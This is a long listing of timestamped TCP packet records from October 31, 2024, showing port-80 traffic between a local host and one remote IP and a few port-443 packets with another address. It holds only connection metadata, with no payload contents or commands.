Oct 31, 2024 04:16:16.151330948 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151340961 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151343107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151355028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151374102 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151405096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151405096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151427984 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151443005 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151460886 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151496887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151496887 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151509047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151520967 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151534081 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151555061 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151580095 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151592970 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151592970 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151612043 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151704073 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151716948 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151726961 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151762962 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151791096 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151945114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151987076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.151993990 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.151998043 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152024984 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152048111 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152053118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152065039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152075052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152107000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152128935 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152141094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152153015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152163982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152175903 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152189016 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152208090 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152215958 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152228117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152240038 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152240038 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152268887 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152276993 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152391911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152431965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152443886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152446985 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152483940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152498007 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152528048 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152539015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152549028 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152559996 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152573109 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152576923 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152586937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152601004 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152612925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152621031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152647972 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152681112 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152693033 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152704954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152717113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152729988 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152756929 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152784109 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152817965 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152829885 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152842999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152853966 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152858019 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152865887 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152878046 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152879000 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152914047 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152931929 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.152949095 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152954102 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152965069 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152982950 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.152998924 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153016090 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153040886 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153047085 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153058052 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153069019 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153080940 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153110981 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153110981 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153127909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153162003 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153172016 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153182030 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153193951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153204918 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153207064 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153232098 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153238058 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153248072 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153253078 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153259993 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153273106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153280973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153302908 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153332949 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153358936 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153399944 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153405905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153407097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153441906 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153484106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153496027 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153506994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153520107 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153532982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153533936 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153559923 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153563023 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153592110 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153618097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153624058 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153630972 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153642893 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153666973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153696060 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153815031 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153836012 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153863907 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153875113 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153879881 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153896093 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153908014 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153912067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153935909 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153938055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153954029 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153959990 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153971910 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.153987885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.153994083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154019117 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154020071 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154035091 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154051065 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154073954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154073954 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154073954 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154087067 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154103041 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154112101 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154119015 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154145956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154166937 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154171944 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154182911 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154210091 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154233932 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154237986 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154247999 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154266119 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154272079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154278040 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154278994 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154290915 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154318094 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154323101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.154325008 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154350042 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.154373884 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.233926058 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.234014034 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.235254049 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.235265970 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.235598087 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.236955881 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.237112045 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.237148046 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.237210035 CET	49860	443	192.168.2.4	188.114.97.3
Oct 31, 2024 04:16:16.237221003 CET	443	49860	188.114.97.3	192.168.2.4
Oct 31, 2024 04:16:16.298465014 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.298481941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.298583031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.298583031 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306390047 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306451082 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306468010 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306554079 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306596994 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306600094 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306623936 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306641102 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306657076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306672096 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306690931 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306705952 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306732893 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306736946 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306756020 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306756973 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306792021 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306812048 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306814909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306832075 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306849003 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306885004 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306915998 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.306931973 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306946039 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306961060 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.306977987 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307004929 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307018995 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307024956 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307043076 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307059050 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307075024 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307094097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307094097 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307118893 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307133913 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307148933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307163954 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307210922 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307210922 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307343960 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307387114 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307400942 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307459116 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307507038 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307740927 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307773113 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307789087 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307836056 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307859898 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307868004 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307876110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307893991 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307910919 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307924986 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307934999 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307940960 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.307955980 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.307974100 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308012009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308020115 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308034897 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308069944 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308101892 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308262110 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308286905 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308301926 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308347940 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308373928 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308377981 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308394909 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308418989 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308444977 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308465958 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308476925 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308517933 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308535099 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308582067 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308629036 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308643103 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308659077 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308671951 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308686018 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308713913 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308744907 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.308907986 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.308994055 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309012890 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309034109 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309050083 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309063911 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309103012 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309103966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309124947 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309140921 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309155941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309174061 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309206963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309206963 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309348106 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309364080 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309379101 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309392929 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309408903 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309411049 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309411049 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309427023 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309434891 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309475899 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309521914 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309632063 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309648991 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309663057 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309676886 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309699059 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309714079 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309717894 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309731007 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309747934 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309750080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309750080 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309765100 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309770107 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309781075 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309794903 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309797049 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309814930 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309818029 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.309834003 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309851885 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.309870958 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310209990 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310234070 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310247898 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310297966 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310319901 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310333967 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310336113 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310349941 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310365915 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310379982 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310400009 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310437918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310437918 CET	49849	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:16:16.310465097 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310480118 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310496092 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310512066 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310527086 CET	80	49849	185.215.113.16	192.168.2.4
Oct 31, 2024 04:16:16.310539961 CET	49849	80	192.168.2.4	185.215.113.16
